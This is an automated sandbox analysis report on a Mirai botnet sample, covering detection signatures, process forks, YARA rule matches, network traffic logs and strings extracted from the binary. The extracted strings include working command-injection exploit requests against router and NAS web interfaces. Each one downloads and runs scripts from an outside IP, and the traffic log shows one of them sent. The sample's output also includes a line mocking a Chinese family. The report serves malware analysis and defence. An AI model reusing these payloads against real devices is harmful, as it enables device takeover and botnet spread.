Edit tour

Linux Analysis Report
uekXXxUc43.elf

Overview

General Information

Sample Name:	uekXXxUc43.elf
Analysis ID:	795396
MD5:	3ef9599432ae943c3a3d8b4e9fe715d2
SHA1:	5fac4c96c8a626bc4722db718a05d0c5ab142da3
SHA256:	1967cdb03e86829b29b74b6ccae1b711948873d0133f17807e4fa3a71b8d6184
Tags:	32armelfmirai
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Sample deletes itself

Uses known network protocols on non-standard ports

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample contains strings that are potentially command strings

Sample has stripped symbol table

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	795396
Start date and time:	2023-01-31 18:46:11 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	uekXXxUc43.elf
Detection:	MAL
Classification:	mal80.troj.evad.linELF@0/317@2/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: uekXXxUc43.elf

Runtime Messages

Command:	/tmp/uekXXxUc43.elf
PID:	6227
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

uekXXxUc43.elf (PID: 6227, Parent: 6123, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/uekXXxUc43.elf

uekXXxUc43.elf New Fork (PID: 6229, Parent: 6227)

uekXXxUc43.elf New Fork (PID: 6231, Parent: 6229)

uekXXxUc43.elf New Fork (PID: 6232, Parent: 6229)

uekXXxUc43.elf New Fork (PID: 6234, Parent: 6229)

uekXXxUc43.elf New Fork (PID: 6236, Parent: 6229)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
uekXXxUc43.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x11022:$x2: /bin/busybox chmod 777 * /tmp/ 0x110c4:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
uekXXxUc43.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6227.1.00007fa820017000.00007fa82002b000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x11022:$x2: /bin/busybox chmod 777 * /tmp/ 0x110c4:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
6227.1.00007fa820017000.00007fa82002b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6231.1.00007fa820017000.00007fa82002b000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x11022:$x2: /bin/busybox chmod 777 * /tmp/ 0x110c4:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
6231.1.00007fa820017000.00007fa82002b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

HTTP traffic detected: POST /web_shell_cmd.gch HTTP/1.1Host: 34.174.198.1:82Accept: */*Content-Type: application/x-www-form-urlencodedConnection: closeUser-Agent: Hello WorldContent-Length: 182IF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F45.66.230.47%2Fmips%3Bchmod+777+mips%3Bsh+mips+selfrep.zte%3Brm+-rf+mips&CmdAckData Raw: Data Ascii:

Source: unknown	Network traffic detected: HTTP traffic on port 57096 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60048
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60096
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60112
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60120
Source: unknown	Network traffic detected: HTTP traffic on port 43876 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 42132 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43614 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60128
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60138
Source: unknown	Network traffic detected: HTTP traffic on port 41160 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60144
Source: unknown	Network traffic detected: HTTP traffic on port 41160 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60150
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60170
Source: unknown	Network traffic detected: HTTP traffic on port 41160 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 60180
Source: unknown	Network traffic detected: HTTP traffic on port 43614 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 41160 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 41160 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43614 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43512 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43512 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43512 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43512 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 41160 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 45610 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43868 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43868 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43512 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43868 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43868 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 45610 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43868 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43512 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43614 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 39592 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 46742 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 48384 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43868 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 45610 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 41160 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43512 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43868 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40822 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 42892 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40822 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 82 -> 42892
Source: unknown	Network traffic detected: HTTP traffic on port 42906 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40822 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 82 -> 42906
Source: unknown	Network traffic detected: HTTP traffic on port 42914 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 82 -> 42914
Source: unknown	Network traffic detected: HTTP traffic on port 45610 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40822 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40822 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40822 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43614 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 52662 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 34502 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43868 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43512 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 58694 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 58694 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 58694 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40822 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 58694 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 41376 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 58694 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 48226 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 37432 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 41160 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 37432 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 37432 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 37432 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 54486 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 58694 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 54486 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 54486 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 82 -> 54486
Source: unknown	Network traffic detected: HTTP traffic on port 42832 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 82 -> 42832
Source: unknown	Network traffic detected: HTTP traffic on port 45610 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 58694 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40852 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 40822 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 47836 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 49642 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 49642 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 47276 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 49642 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 82 -> 47276
Source: unknown	Network traffic detected: HTTP traffic on port 33604 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 49642 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 33604 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 33604 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 33604 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 33604 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 54846 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 82 -> 54846
Source: unknown	Network traffic detected: HTTP traffic on port 33604 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 58694 -> 82
Source: unknown	Network traffic detected: HTTP traffic on port 43868 -> 82

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 172.65.217.90:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 34.160.253.139:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 34.149.84.155:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.166.241.107:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 66.242.133.114:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 66.242.133.114:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 66.242.133.114:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.166.241.107:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 66.242.133.114:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 66.242.133.114:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.166.241.107:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 107.178.158.36:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.192.218.67:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.192.218.67:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 107.178.158.36:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.192.218.67:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 107.178.158.36:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.192.218.67:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 107.178.158.36:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 66.242.133.114:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.192.218.67:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 86.69.112.118:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.162.74.184:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.162.74.184:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 107.178.158.36:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.162.74.184:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.162.74.184:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 86.69.112.118:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.192.218.67:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.162.74.184:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 107.178.158.36:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.166.241.107:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 34.120.100.148:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 144.49.215.177:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 149.248.206.151:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.162.74.184:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 86.69.112.118:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.192.218.67:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 66.242.133.114:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 107.178.158.36:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.162.74.184:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.196.250.60:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 34.174.198.1:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.196.250.60:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.196.250.60:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 86.69.112.118:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.196.250.60:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.196.250.60:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.196.250.60:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.192.218.67:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.166.241.107:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 212.76.113.203:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 114.36.224.178:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.162.74.184:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 107.178.158.36:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 164.155.200.247:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 164.155.200.247:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 164.155.200.247:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.196.250.60:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 164.155.200.247:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 95.86.70.197:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 164.155.200.247:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 159.60.208.209:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.191.8.209:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 66.242.133.114:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.191.8.209:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.191.8.209:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.191.8.209:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 89.216.104.82:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 164.155.200.247:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 89.216.104.82:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 89.216.104.82:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 38.85.192.61:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 86.69.112.118:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 164.155.200.247:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 172.65.16.147:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 154.201.18.169:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 154.201.18.169:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 154.201.18.169:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.196.250.60:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 213.188.207.163:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.191.203.45:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 154.201.18.169:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.191.203.45:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 182.76.214.22:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.191.203.45:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 146.148.129.73:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 163.191.203.45:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 154.201.18.169:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 146.148.129.73:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 146.148.129.73:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 146.148.129.73:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 197.192.218.67:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 146.148.129.73:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 154.201.18.169:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 213.154.15.54:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 172.65.127.92:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 146.148.129.73:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 203.99.106.116:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 164.155.200.247:82
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: /Host: 156.162.74.184:82

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 2.99.63.4
Source: unknown	TCP traffic detected without corresponding DNS query: 157.171.151.4
Source: unknown	TCP traffic detected without corresponding DNS query: 58.174.74.7
Source: unknown	TCP traffic detected without corresponding DNS query: 123.198.184.87
Source: unknown	TCP traffic detected without corresponding DNS query: 112.193.164.58
Source: unknown	TCP traffic detected without corresponding DNS query: 160.30.77.201
Source: unknown	TCP traffic detected without corresponding DNS query: 199.19.3.23
Source: unknown	TCP traffic detected without corresponding DNS query: 179.173.208.69
Source: unknown	TCP traffic detected without corresponding DNS query: 5.121.31.136
Source: unknown	TCP traffic detected without corresponding DNS query: 96.116.195.164
Source: unknown	TCP traffic detected without corresponding DNS query: 73.181.19.32
Source: unknown	TCP traffic detected without corresponding DNS query: 193.211.135.9
Source: unknown	TCP traffic detected without corresponding DNS query: 18.199.69.117
Source: unknown	TCP traffic detected without corresponding DNS query: 115.137.236.205
Source: unknown	TCP traffic detected without corresponding DNS query: 194.237.1.39
Source: unknown	TCP traffic detected without corresponding DNS query: 81.34.147.12
Source: unknown	TCP traffic detected without corresponding DNS query: 145.226.236.53
Source: unknown	TCP traffic detected without corresponding DNS query: 104.16.223.1
Source: unknown	TCP traffic detected without corresponding DNS query: 73.161.119.184
Source: unknown	TCP traffic detected without corresponding DNS query: 9.117.34.221
Source: unknown	TCP traffic detected without corresponding DNS query: 132.56.239.42
Source: unknown	TCP traffic detected without corresponding DNS query: 67.64.91.44
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.47.251
Source: unknown	TCP traffic detected without corresponding DNS query: 211.174.221.16
Source: unknown	TCP traffic detected without corresponding DNS query: 146.93.249.158
Source: unknown	TCP traffic detected without corresponding DNS query: 32.13.166.74
Source: unknown	TCP traffic detected without corresponding DNS query: 27.235.37.63
Source: unknown	TCP traffic detected without corresponding DNS query: 39.107.83.45
Source: unknown	TCP traffic detected without corresponding DNS query: 164.163.24.29
Source: unknown	TCP traffic detected without corresponding DNS query: 102.28.63.201
Source: unknown	TCP traffic detected without corresponding DNS query: 201.102.84.179
Source: unknown	TCP traffic detected without corresponding DNS query: 141.20.8.231
Source: unknown	TCP traffic detected without corresponding DNS query: 120.172.187.211
Source: unknown	TCP traffic detected without corresponding DNS query: 137.80.92.141
Source: unknown	TCP traffic detected without corresponding DNS query: 35.51.8.15
Source: unknown	TCP traffic detected without corresponding DNS query: 72.138.87.246
Source: unknown	TCP traffic detected without corresponding DNS query: 9.47.155.77
Source: unknown	TCP traffic detected without corresponding DNS query: 105.173.96.156
Source: unknown	TCP traffic detected without corresponding DNS query: 74.31.223.47
Source: unknown	TCP traffic detected without corresponding DNS query: 72.2.14.27
Source: unknown	TCP traffic detected without corresponding DNS query: 84.131.212.86
Source: unknown	TCP traffic detected without corresponding DNS query: 108.18.157.139
Source: unknown	TCP traffic detected without corresponding DNS query: 188.123.73.98
Source: unknown	TCP traffic detected without corresponding DNS query: 99.191.217.7
Source: unknown	TCP traffic detected without corresponding DNS query: 207.161.114.119
Source: unknown	TCP traffic detected without corresponding DNS query: 203.126.157.19
Source: unknown	TCP traffic detected without corresponding DNS query: 166.240.116.95
Source: unknown	TCP traffic detected without corresponding DNS query: 176.150.69.200

Source: uekXXxUc43.elf	String found in binary or memory: http://45.66.230.47/bins/mips;
Source: uekXXxUc43.elf	String found in binary or memory: http://45.66.230.47/bins/wget.sh$
Source: uekXXxUc43.elf	String found in binary or memory: http://45.66.230.47/bins/wget.sh;sh$
Source: uekXXxUc43.elf	String found in binary or memory: http://45.66.230.47/bins/x86
Source: uekXXxUc43.elf	String found in binary or memory: http://45.66.230.47/wget.sh
Source: uekXXxUc43.elf	String found in binary or memory: http://68.183.17.95/Messiah.mips;
Source: uekXXxUc43.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: uekXXxUc43.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: uekXXxUc43.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6227.1.00007fa820017000.00007fa82002b000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 6231.1.00007fa820017000.00007fa82002b000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Source: uekXXxUc43.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27
Source: 6227.1.00007fa820017000.00007fa82002b000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27
Source: 6231.1.00007fa820017000.00007fa82002b000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27

Source: Initial sample	Potential command found: GET / HTTP/1.1
Source: Initial sample	Potential command found: GET /shell?cd+/tmp;rm+-rf+arm7;wget+http:/\/45.66.230.47/bins/arm7;chmod+777+arm7;./arm7 selfrep.jaws
Source: Initial sample	Potential command found: GET /adv,/cgi-bin/weblogin.cgi?username=admin%%27%%3Bwget%20http%%3A%%2F%%2F45.66.230.47%%2Fwget.sh%20-O%20-%%20%%7C%%20sh%%20%23+%23&password=asdf HTTP/1.1
Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/wget.sh;wget+http://45.66.230.47/wget.sh+-O+/tmp/wget.sh;sh+/tmp/wget.sh&curpath=/&currentsetting.htm=1 HTTP/1.1
Source: Initial sample	Potential command found: GET /backupmgt/localJob.php?session=fail`wget%20-O-%20http%%3A%%2F%%2F45.66.230.47%%2Fwget.sh%%7Csh` HTTP/1.0
Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}wget.sh;wget${IFS}http://45.66.230.47/bins/wget.sh;sh${IFS}/tmp/wget.sh${IFS}selfrep.crossweb&>r&&tar${IFS}/string.js HTTP/1.0
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink
Source: Initial sample	Potential command found: GET /cgi-bin/masterCGI?ping=nomip&user=;cd${IFS}/tmp;wget${IFS}http://45.66.230.47/bins/wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}selfrep.alcatel; HTTP/1.1

